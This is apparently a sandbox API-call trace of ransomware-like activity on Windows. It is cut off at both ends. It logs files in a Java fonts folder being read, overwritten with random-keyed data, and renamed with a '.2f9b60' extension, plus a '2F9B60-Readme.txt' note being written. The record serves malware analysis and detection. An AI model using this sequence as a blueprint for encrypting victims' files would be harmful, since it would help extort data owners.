RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0207.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0207.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5d030 [0207.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0207.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0207.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f5e0) returned 1 [0207.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x4309f750 [0207.170] sprintf (in: _Dest=0x4309f750, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.170] sprintf (in: _Dest=0x4309f752, _Format="%c%c" | out: _Dest="d7") returned 2 [0207.170] sprintf (in: _Dest=0x4309f754, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.170] sprintf (in: _Dest=0x4309f756, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.170] sprintf (in: _Dest=0x4309f758, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.170] sprintf (in: _Dest=0x4309f75a, _Format="%c%c" | out: _Dest="b6") returned 2 [0207.170] sprintf (in: _Dest=0x4309f75c, _Format="%c%c" | out: _Dest="9f") returned 2 [0207.171] sprintf (in: _Dest=0x4309f75e, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.171] sprintf (in: _Dest=0x4309f760, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.171] sprintf (in: _Dest=0x4309f762, _Format="%c%c" | out: _Dest="64") returned 2 [0207.171] sprintf (in: _Dest=0x4309f764, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.171] sprintf (in: _Dest=0x4309f766, _Format="%c%c" | out: _Dest="92") returned 2 [0207.171] sprintf (in: _Dest=0x4309f768, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.171] sprintf (in: _Dest=0x4309f76a, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.171] sprintf (in: _Dest=0x4309f76c, _Format="%c%c" | out: _Dest="89") returned 2 [0207.171] sprintf (in: _Dest=0x4309f76e, _Format="%c%c" | out: _Dest="29") returned 2 [0207.171] sprintf (in: _Dest=0x4309f770, _Format="%c%c" | out: _Dest="76") returned 2 [0207.171] sprintf (in: _Dest=0x4309f772, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.171] sprintf (in: _Dest=0x4309f774, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.171] sprintf (in: _Dest=0x4309f776, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.171] sprintf (in: _Dest=0x4309f778, _Format="%c%c" | out: _Dest="94") returned 2 [0207.171] sprintf (in: _Dest=0x4309f77a, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.171] sprintf (in: _Dest=0x4309f77c, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.171] sprintf (in: _Dest=0x4309f77e, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.171] sprintf (in: _Dest=0x4309f780, _Format="%c%c" | out: _Dest="36") returned 2 [0207.171] sprintf (in: _Dest=0x4309f782, _Format="%c%c" | out: _Dest="1c") returned 2 [0207.171] sprintf (in: _Dest=0x4309f784, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.171] sprintf (in: _Dest=0x4309f786, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.171] sprintf (in: _Dest=0x4309f788, _Format="%c%c" | out: _Dest="20") returned 2 [0207.171] sprintf (in: _Dest=0x4309f78a, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.171] sprintf (in: _Dest=0x4309f78c, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.171] sprintf (in: _Dest=0x4309f78e, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.171] sprintf (in: _Dest=0x4309f790, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.171] sprintf (in: _Dest=0x4309f792, _Format="%c%c" | out: _Dest="c4") returned 2 [0207.171] sprintf (in: _Dest=0x4309f794, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.171] sprintf (in: _Dest=0x4309f796, _Format="%c%c" | out: _Dest="7e") returned 2 [0207.171] sprintf (in: _Dest=0x4309f798, _Format="%c%c" | out: _Dest="6c") returned 2 [0207.172] sprintf (in: _Dest=0x4309f79a, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.172] sprintf (in: _Dest=0x4309f79c, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.172] sprintf (in: _Dest=0x4309f79e, _Format="%c%c" | out: _Dest="17") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7a0, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7a2, _Format="%c%c" | out: _Dest="47") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7a4, _Format="%c%c" | out: _Dest="af") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7a6, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7a8, _Format="%c%c" | out: _Dest="75") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7aa, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7ac, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.172] sprintf (in: _Dest=0x4309f7ae, _Format="%c%c" | out: _Dest="41") returned 2 [0207.172] RtlInitAnsiString (in: DestinationString=0x367dfc28, SourceString="a9d7b1f56bb69f7fa1642f92f2a58929761daad394d4fa1b361cf4ec20eed6c4bcc4fe7e6c2fb3176f47afe2752dc041" | out: DestinationString="a9d7b1f56bb69f7fa1642f92f2a58929761daad394d4fa1b361cf4ec20eed6c4bcc4fe7e6c2fb3176f47afe2752dc041") [0207.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x367dfbf8, SourceString="a9d7b1f56bb69f7fa1642f92f2a58929761daad394d4fa1b361cf4ec20eed6c4bcc4fe7e6c2fb3176f47afe2752dc041", AllocateDestinationString=1 | out: DestinationString="a9d7b1f56bb69f7fa1642f92f2a58929761daad394d4fa1b361cf4ec20eed6c4bcc4fe7e6c2fb3176f47afe2752dc041") returned 0x0 [0207.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fc8c0 [0207.172] wcscat (in: _Dest=0x431c7260, _Source="a9d7b1f56bb69f7fa1642f92" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92" [0207.173] wcscat (in: _Dest=0x431c7260, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92.2f9b60" [0207.173] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92.2f9b60", NtPathName=0x367dfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\a9d7b1f56bb69f7fa1642f92.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x431290e0 [0209.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431290e0) returned 1 [0209.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43169210) returned 1 [0209.587] NtQueryInformationFile (in: FileHandle=0x25b0, IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48) returned 0x0 [0209.587] NtSetInformationFile (FileHandle=0x25b0, IoStatusBlock=0x367dfc38, FileInformation=0x367dfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0217.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c7260) returned 1 [0217.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc8c0) returned 1 [0217.492] FlushFileBuffers (hFile=0x25b0) returned 1 [0217.493] CloseHandle (hObject=0x25b0) returned 1 [0219.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a49b0 [0219.785] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0219.785] wcscat (in: _Dest=0x202a49b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt" [0219.785] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\2f9b60-readme.txt")) returned 0xffffffff [0219.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x964 [0224.156] WriteFile (in: hFile=0x964, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x367dfaf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x367dfaf0*=0xba9, lpOverlapped=0x0) returned 1 [0225.585] CloseHandle (hObject=0x964) returned 1 [0226.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a49b0) returned 1 [0226.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aa80) returned 1 [0226.659] FindNextFileW (in: hFindFile=0x1ced6460, lpFindFileData=0x2027c320 | out: lpFindFileData=0x2027c320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0226.659] wcscmp (_String1="LucidaBrightDemiItalic.ttf", _String2=".") returned 1 [0226.659] wcscmp (_String1="LucidaBrightDemiItalic.ttf", _String2="..") returned 1 [0226.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20505690 [0226.659] wcscpy (in: _Dest=0x20505690, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0226.659] wcscat (in: _Dest=0x20505690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0226.659] wcscat (in: _Dest=0x20505690, _Source="LucidaBrightDemiItalic.ttf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" [0226.660] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0226.660] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf", dwFileAttributes=0x20) returned 1 [0226.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe94 [0226.662] GetFileSizeEx (in: hFile=0xe94, lpFileSize=0x367dfbe0 | out: lpFileSize=0x367dfbe0*=75124) returned 1 [0226.662] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x12570, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.662] ReadFile (in: hFile=0xe94, lpBuffer=0x367dfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x367dfba8, lpOverlapped=0x0 | out: lpBuffer=0x367dfb60*, lpNumberOfBytesRead=0x367dfba8*=0x4, lpOverlapped=0x0) returned 1 [0226.727] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0226.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a78e0 [0226.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0226.728] NtQuerySystemTime (in: CurrentTime=0x367dfaa0 | out: CurrentTime=0x367dfaa0*=132462178307158000) returned 0x0 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x53982e67 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3b5911bd [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5d61dcec [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x46f82082 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x508eb8d3 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x8071c3f [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x315b99d6 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x2f968704 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x6932456e [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x62cbdc73 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x28ffc3cc [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x448fba66 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3cf70bcb [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0xc60093a [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x239fe43e [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x276a8175 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x4919c604 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3e24aad4 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x291f6810 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x13580d80 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1a52b251 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x3b5911bd [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1672fc5d [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x213f59ae [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x5d915e0 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x63b3d293 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x99bc04f [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1741ac9a [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1ee2f7d4 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x49bf8c33 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x14ccae31 [0226.729] RtlRandomEx (in: Seed=0x367dfa90 | out: Seed=0x367dfa90) returned 0x1cba77c6 [0226.733] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.733] ReadFile (in: hFile=0xe94, lpBuffer=0x42444d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x367dfb00, lpOverlapped=0x0 | out: lpBuffer=0x42444d60*, lpNumberOfBytesRead=0x367dfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0226.780] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0226.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0226.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7130 [0226.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7130) returned 1 [0226.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424669f0 [0226.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7130 [0226.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d70 [0226.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d70) returned 1 [0226.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0226.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0226.785] WriteFile (in: hFile=0xe94, lpBuffer=0x424669f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x367dfb00, lpOverlapped=0x0 | out: lpBuffer=0x424669f0*, lpNumberOfBytesWritten=0x367dfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0235.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424669f0) returned 1 [0235.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42444d60) returned 1 [0235.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce61600 [0235.242] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.242] WriteFile (in: hFile=0xe94, lpBuffer=0x42c21130*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x367dfbb0, lpOverlapped=0x0 | out: lpBuffer=0x42c21130*, lpNumberOfBytesWritten=0x367dfbb0*=0x126, lpOverlapped=0x0) returned 1 [0240.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce613d0 [0240.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb1e0 [0240.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0240.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0240.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x431187e0 [0240.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0240.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0240.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0240.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb1e0) returned 1 [0240.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce613d0) returned 1 [0240.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1cebb1e0 [0240.328] sprintf (in: _Dest=0x1cebb1e0, _Format="%c%c" | out: _Dest="03") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1e2, _Format="%c%c" | out: _Dest="39") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1e4, _Format="%c%c" | out: _Dest="fc") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1e6, _Format="%c%c" | out: _Dest="1c") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1e8, _Format="%c%c" | out: _Dest="9d") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1ea, _Format="%c%c" | out: _Dest="1e") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1ec, _Format="%c%c" | out: _Dest="83") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1ee, _Format="%c%c" | out: _Dest="f3") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1f0, _Format="%c%c" | out: _Dest="29") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1f2, _Format="%c%c" | out: _Dest="54") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1f4, _Format="%c%c" | out: _Dest="37") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1f6, _Format="%c%c" | out: _Dest="dc") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1f8, _Format="%c%c" | out: _Dest="bb") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1fa, _Format="%c%c" | out: _Dest="7d") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1fc, _Format="%c%c" | out: _Dest="d0") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb1fe, _Format="%c%c" | out: _Dest="c4") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb200, _Format="%c%c" | out: _Dest="36") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb202, _Format="%c%c" | out: _Dest="e8") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb204, _Format="%c%c" | out: _Dest="e5") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb206, _Format="%c%c" | out: _Dest="01") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb208, _Format="%c%c" | out: _Dest="01") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb20a, _Format="%c%c" | out: _Dest="19") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb20c, _Format="%c%c" | out: _Dest="d0") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb20e, _Format="%c%c" | out: _Dest="64") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb210, _Format="%c%c" | out: _Dest="b8") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb212, _Format="%c%c" | out: _Dest="45") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb214, _Format="%c%c" | out: _Dest="4f") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb216, _Format="%c%c" | out: _Dest="1c") returned 2 [0240.328] sprintf (in: _Dest=0x1cebb218, _Format="%c%c" | out: _Dest="28") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb21a, _Format="%c%c" | out: _Dest="16") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb21c, _Format="%c%c" | out: _Dest="ea") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb21e, _Format="%c%c" | out: _Dest="1f") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb220, _Format="%c%c" | out: _Dest="a8") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb222, _Format="%c%c" | out: _Dest="1c") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb224, _Format="%c%c" | out: _Dest="68") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb226, _Format="%c%c" | out: _Dest="72") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb228, _Format="%c%c" | out: _Dest="6c") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb22a, _Format="%c%c" | out: _Dest="51") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb22c, _Format="%c%c" | out: _Dest="58") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb22e, _Format="%c%c" | out: _Dest="c1") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb230, _Format="%c%c" | out: _Dest="16") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb232, _Format="%c%c" | out: _Dest="9b") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb234, _Format="%c%c" | out: _Dest="f4") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb236, _Format="%c%c" | out: _Dest="98") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb238, _Format="%c%c" | out: _Dest="9b") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb23a, _Format="%c%c" | out: _Dest="1a") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb23c, _Format="%c%c" | out: _Dest="d2") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb23e, _Format="%c%c" | out: _Dest="8e") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb240, _Format="%c%c" | out: _Dest="e9") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb242, _Format="%c%c" | out: _Dest="02") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb244, _Format="%c%c" | out: _Dest="42") returned 2 [0240.329] sprintf (in: _Dest=0x1cebb246, _Format="%c%c" | out: _Dest="17") returned 2 [0240.329] RtlInitAnsiString (in: DestinationString=0x367dfc28, SourceString="0339fc1c9d1e83f3295437dcbb7dd0c436e8e5010119d064b8454f1c2816ea1fa81c68726c5158c1169bf4989b1ad28ee9024217" | out: DestinationString="0339fc1c9d1e83f3295437dcbb7dd0c436e8e5010119d064b8454f1c2816ea1fa81c68726c5158c1169bf4989b1ad28ee9024217") [0240.329] RtlAnsiStringToUnicodeString (in: DestinationString=0x367dfbf8, SourceString="0339fc1c9d1e83f3295437dcbb7dd0c436e8e5010119d064b8454f1c2816ea1fa81c68726c5158c1169bf4989b1ad28ee9024217", AllocateDestinationString=1 | out: DestinationString="0339fc1c9d1e83f3295437dcbb7dd0c436e8e5010119d064b8454f1c2816ea1fa81c68726c5158c1169bf4989b1ad28ee9024217") returned 0x0 [0240.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x43115980 [0240.330] wcscat (in: _Dest=0x43144bf0, _Source="0339fc1c9d1e83f3295437dcbb" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb" [0240.330] wcscat (in: _Dest=0x43144bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb.2f9b60" [0240.330] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb.2f9b60", NtPathName=0x367dfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\0339fc1c9d1e83f3295437dcbb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0240.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 